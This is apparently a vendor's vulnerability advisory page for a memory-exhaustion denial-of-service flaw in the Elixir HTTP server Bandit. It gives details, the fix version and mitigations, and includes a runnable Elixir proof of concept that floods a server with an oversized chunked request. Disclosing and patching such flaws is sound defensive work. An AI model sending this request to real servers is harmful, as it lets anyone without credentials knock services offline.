GHSA-9q9q-324x-93r2 is a high-severity (CVSS 7.5) CWE-770 vulnerability in bandit. O3 Security confirms whether GHSA-9q9q-324x-93r2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9q9q-324x-93r2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9q9q-324x-93r2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
banditReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The `length` option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | bandit | ≥ 1.4.0&&< 1.11.1 | 1.11.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bandit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bandit to 1.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9q9q-324x-93r2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9q9q-324x-93r2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9q9q-324x-93r2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9q9q-324x-93r2 in your dependencies?
O3 detects GHSA-9q9q-324x-93r2 across Hex dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.